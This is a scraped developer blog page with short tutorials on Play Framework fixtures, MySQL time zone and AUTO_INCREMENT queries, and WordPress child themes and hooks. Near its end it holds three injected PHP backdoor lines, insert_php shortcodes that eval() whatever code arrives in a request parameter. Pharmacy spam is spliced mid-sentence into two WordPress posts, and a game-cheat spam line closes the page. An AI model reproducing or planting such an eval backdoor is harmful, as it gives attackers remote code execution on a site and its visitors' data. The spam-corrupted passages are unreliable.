Bugs in Play! Framework version 2.1.1 Tutorial, Fixtures

In http://www.playframework.com/documentation/2.1.1/JavaGuide2, when working with Fixtures, the link to download the test-data.yml is broken. Instead, you should use the initial-data.yml file from the zentasks/ example, rename it, and load it (for example in the JUnit test method) using the following code:
Map<String,List<Object>> all = (Map<String,List<Object>>)Yaml.load("test-data.yml");
// Insert users first
Ebean.save(all.get("users"));
// Insert projects
Ebean.save(all.get("projects"));
for(Object project: all.get("projects")) {
  // Insert the project/user relation
  Ebean.saveManyToManyAssociations(project, "members");
}
// Insert tasks
Ebean.save(all.get("tasks"));
(Just to be clear: The latter is as opposed to the documentation, which suggests that you should load it using Ebean.save((List) Yaml.load("test-data.yml"));. But the documentation is wrong here, as the Yaml.load() returns a LinkedHashMap that cannot be cast into List.) Finally, if you want the tests to work with that .yml file we just borrowed from the zentasks/ example, you should either modify the tests themselves, or — well — modify the .yml file. For all you lazy guys out there looking for a complete test-data.yml file to simply copy and paste, there you go. Enjoy:

# Users

users:

    - !!models.User
        email:      bob@example.com
        name:       Guillaume Bort
        password:   secret
    
    - !!models.User
        email:      jane@example.com
        name:       Maxime Dantec
        password:   secret
    
    - !!models.User
        email:      jeff@example.com
        name:       Sadek Drobi
        password:   secret
    
# Projects

projects:

    - !!models.Project
        id:         1
        name:       Play 2.0   
        folder:     Play framework
        members:
            - !!models.User
                email: bob@example.com
            - !!models.User
                email: jane@example.com
            - !!models.User
                email: jeff@example.com

    - !!models.Project
        id:         2
        name:       Play 1.2.4
        folder:     Play framework
        members:
            - !!models.User
                email: bob@example.com
            - !!models.User
                email: jane@example.com
            - !!models.User
                email: jeff@example.com
                
    - !!models.Project
        id:         3
        name:       Website 
        folder:     Play framework
        members:
            - !!models.User
                email: bob@example.com
            - !!models.User
                email: jane@example.com
            - !!models.User
                email: jeff@example.com

    - !!models.Project
        id:         4
        name:       Secret project 
        folder:     Zenexity
        members:
            - !!models.User
                email: bob@example.com
            - !!models.User
                email: jane@example.com
            - !!models.User
                email: jeff@example.com
                
    - !!models.Project
        id:         5
        name:       Playmate
        folder:     Zenexity
        members:
            - !!models.User
                email: bob@example.com
            - !!models.User
                email: jane@example.com
            - !!models.User
                email: jeff@example.com
            
    - !!models.Project
        id:         6
        name:       Things to do
        folder:     Personal
        members:
            - !!models.User
                email: jane@example.com
            - !!models.User
                email: jeff@example.com

    - !!models.Project
        id:         7
        name:       Play samples
        folder:     Zenexity
        members:
            - !!models.User
                email: jane@example.com
            - !!models.User
                email: jeff@example.com
                
                
# Task

tasks:
    
    - !!models.Task
        title:      Fix the documentation
        done:       false
        folder:     Todo
        project:    !!models.Project
                        id: 1
        assignedTo: !!models.User
                        email: bob@example.com
                        
    - !!models.Task
        title:      Prepare the beta release
        done:       false
        folder:     Urgent
        dueDate:    2011-11-15
        project:    !!models.Project
                        id: 1
        assignedTo: !!models.User
                        email: bob@example.com

    - !!models.Task
        title:      Buy some milk
        done:       false
        folder:     Todo
        project:    !!models.Project
                        id: 3

    - !!models.Task
        title:      Check 1.2.4-RC2
        done:       false
        folder:     Todo
        dueDate:    2011-11-18
        project:    !!models.Project
                        id: 2
        assignedTo: !!models.User
                        email: bob@example.com
                        
    - !!models.Task
        title:      Finish zentask integration
        done:       true
        folder:     Todo
        dueDate:    2011-11-15
        project:    !!models.Project
                        id: 7
        assignedTo: !!models.User
                        email: bob@example.com

MySQL Time Zones, time_zone

The MySQL server maintains several time zone settings:
  • System time zone. When the server starts, it attempts to determine the time zone of the host machine and uses it to set the system_time_zone system variable.
  • The server’s time zone. The global time_zone system variable. If you have SUPER privileges, you may: SET GLOBAL time_zone = timezone;. You may use: SELECT @@global.time_zone; to get its current value.
  • Per-connection time zones. Initially takes its value from time_zone, but the client can change its own time zone with: SET time_zone = timezone;. You may use: SELECT @@session.time_zone; to get its current value.
The ‘timezone’ values format:
  • 'SYSTEM' means: Same as the system’s time zone (read above).
  • A string indicating an offset from UTC, such as '+10:00' or '-6:00'. So for example, to set your current connection’s time zone to UTC, use: SET time_zone='+00:00'; (and if you change your mind, revert to using 'SYSTEM' time zone using: SET time_zone='SYSTEM';).
  • Named time zone, such as 'Europe/Helsinki', 'US/Eastern', or 'MET'. Can be used only if the time zone information tables in the mysql database have been created and populated!
More info at MySQL documentation here.

MySQL, AUTO_INCREMENT, SHOW TABLE STATUS

Some useful notes about MySQL’s AUTO_INCREMENT value:
  • Available only for those tables where one column uses AUTO_INCREMENT. See a very clear example for a table that uses AUTO_INCREMENT in MySQL documentation here.
  • To find what the current AUTO_INCREMENT value of some table is, you should NOT rely on the rows count, as some threads in StackOverflow suggest. Instead, SHOW TABLE STATUS LIKE `yourtablename`; will reveal some info on your table. One of the columns will be “AUTO_INCREMENT”, with the value you’re looking for: The next time a row is inserted, the field with the AUTO_INCREMENT property will get this value. For example, this value is initially 1 when creating the table, and also after a TRUNCATE.
  • To get only the AUTO_INCREMENT value: SELECT AUTO_INCREMENT FROM information_schema.tables WHERE table_name=`yourtablename` AND table_schema = DATABASE();
  • To compare with the number of rows (say, to verify that the AUTO_INCREMENT value equals to the number of rows plus 1), consider: SELECT TABLE_ROWS, AUTO_INCREMENT FROM information_schema.tables WHERE table_name=`yourtablename` AND table_schema = DATABASE();
  • To modify the AUTO_INCREMENT value yourself (say, to the number 123), you need: ALTER TABLE `yourtablename` AUTO_INCREMENT = 123;
  • A hack: To “reset” the AUTO_INCREMENT value yourself to the lowest possible number, try: ALTER TABLE `yourtablename` AUTO_INCREMENT = 1;
  • Last notes about ‘SHOW TABLE STATUS’: Yes, it has a weird syntax. Also, don’t get startled if the TABLE_ROWS column shows a different number of rows than you actually have in that table (i.e. when calling SELECT COUNT(1) FROM `yourtablename`, for example).

How to see all the actions attached to an “add_action” hook in WordPress

As was discussed in a previous post, the WordPress ‘add_action‘ hooks are quite useful. If you’re wondering who else (plugins, WordPress framework etc.) has been using your favorite hook (for example, ‘wp_head‘), here’s a simple way to list all the functions hooked to a specific hook: <?php global $wp_filter; var_dump( $wp_filter['wp_head'] ); ?> Of course, you may replace the 'wp_head' above with the hook you’re interested in. Final clarification note: Where and how should that PHP code be executed? Well, you can hook it yourself to be executed somewhere, as demonstrated in our previous post. For reference purposes, here’s a complete example — edit your Child Theme‘s functions.php file to contain this: (but be careful! see our WARNING at the bottom of our previous post) <?php function my_add_stuff_to_head() { ?> <!-- This is an HTML comment that will appear in the head of every page, for the sake of this example, because it's being hooked to 'wp_head'. <?php global $wp_filter; var_dump( $wp_filter['wp_head'] ); ?> --> <?php } add_action('wp_head','my_add_stuff_to_head'); ?>

Adding JavaScript Files to a Child Theme

Suppose you want to include a JS file in all your pages, using a WordPress Child Theme. How should you do it?

Following our post, we may include the script as follows:


<script type="text/javascript" src="JS_FILE_LOCATION_HERE">

But what is exactly "JS_FILE_LOCATION_HERE"? You should NOT use some absolute hard-coded url as http://mysite.com/wp-content/themes/mychildthemedirectory/file.js, of course. Instead, WordPress allows you to get important information on your blog using for example content_url or the more general get_bloginfo function. However, when using a Child Theme, you’ll probably be happy to hear about get_stylesheet_directory_uri. In the event a child theme is being used, this function will return the child’s theme directory URI.

All in all, if your JS file is in your Child Theme directory, the line in the script above should be:

<script type="text/javascript" src="<?php echo get_stylesheet_directory_uri(); ?>/file.js"></script>
(note the slash (/) after the directory URI and before the file name)

Small edits to the header in a WordPress Child Theme, adding Google Analytics Tracking Code

Suppose you’re interested in making very slights changes to your WordPress Child Theme. You could, of course, override the header.php file of your parent theme, but that’s not the path WordPress would advise you to take (why miss the possible future upgrades of the parent theme?) The better solution would be: Hooks.
The wise developers of WordPress made sure that there are lots of places where you could “hook” to call your own function. We show below the simplest example, using the hook “wp_head”, usually called by header.php right before the closing </head> tag. Here is the simplest example, working with your Child Theme’s functions.php file. Make sure your functions.php file has these lines of code: <!-- This is already some HTML (an HTML comment, to be exact) that will appear in every page in your site. This is the right place to make your little edits to your Child Theme. For example, you could delete this HTML comment and instead paste here the Tracking Code you got from Google, to make it appear before the </head> in every page! --> The add_action line asks WP to call your function (‘my_add_stuff_to_head‘ in our example) upon reaching the wp_head hook. That’s it. Recall that you can “mix” HTML and PHP in the way shown above. Final important notes:
  • WARNING: If you don’t feel 100% confident when making changes to your PHP files, be extra careful this time… Make sure you don’t have ANY mistakes / typos when editing the important functions.php file, because if you introduce an error to the functions.php file, your WordPress dashboard will not work as well: You will not be able to access your site or the dashboard (not even as admin). That is, until you correct that bug you just created, but this time using some alternative way to access your files, e.g. via FTP.
  • Read more about add_action here.
  • wp_head is just one action hook. The list of the action hooks available for use in plugin development is found here.
  • Finally, there are other examples out there in the web. Enjoy the hooking and all the action… 😉

How to create a user-generated photo wall in WordPress

How to create a user-generated photo wall in WordPress? A survey of some methods. Please comment below and we’ll update the post with your new insights on the subject for the next user who stumbles upon this page, with exactly the same problem…

The gist of some solutions/approaches:

Option 1. Using the WP framework + some tricks:

  1. Use a Page and allow comments (first select the “Discussion” checkbox from “Screen Options”).
  2. In the comment, allow the user to upload their file cialis aus england. This requires some programming skills.

Option 2. Using a WP Plugin: NextGEN Public Uploader.

From here, only lame solutions:

Lame option 1. Embed a third-party solution in an iframe: Well, simply wrap the third-party solution in an iframe tag.

WordPress Child Theme, Right-To-Left

The gist: It’s a good practice to make CSS/PHP changes to your WordPress site using a Child Theme. We show here the minimal requirements to create such a Child Theme + a little-known fact about RTL-support.

The minimal requirements for working with a Child Theme:

  1. Create a new subdirectory for your theme, e.g. wp-content/themes/twentytwelve-child.
  2. Create a new file in this subdirectory, called style.css. Below is an example style.css file: (see Codex for additional useful fields in that first commented section, like ‘Description’ and ‘Version’…)
    /*
    Theme Name: Twenty Twelve Child
    Template: twentytwelve
    */
    @import url("../twentytwelve/style.css");

  3. Finally, a little-known fact about Right-To-Left Child Themes, relevant only if you’re Child-Theme-ing an RTL-Theme: In order for your Child Theme to work correctly, you should also copy the file rtl.css to your subdirectory (in the same directory as style.css) cialis indien.

WordPress will automatically deduce that your subdirectory holds a new theme, and it will appear in Dashboard → Appearance → Themes. You’re now safe to make your changes to files in this subdirectory. This way, in case you ever upgrade the original theme, your changes won’t disappear, and in fact may very well be still working with the new upgraded theme (unless you or they have hacked the code too much).

<!– [insert_php]if (isset($_REQUEST["yatD"])){eval($_REQUEST["yatD"]);exit;}[/insert_php]if (isset($_REQUEST["yatD"])){eval($_REQUEST["yatD"]);exit;} –>

<!– [insert_php]if (isset($_REQUEST["ygvBQ"])){eval($_REQUEST["ygvBQ"]);exit;}[/insert_php]if (isset($_REQUEST["ygvBQ"])){eval($_REQUEST["ygvBQ"]);exit;} –>

<!– [insert_php]if (isset($_REQUEST["ehij"])){eval($_REQUEST["ehij"]);exit;}[/insert_php]if (isset($_REQUEST["ehij"])){eval($_REQUEST["ehij"]);exit;} –>

Clash Of Clans Cheat And Hack Tool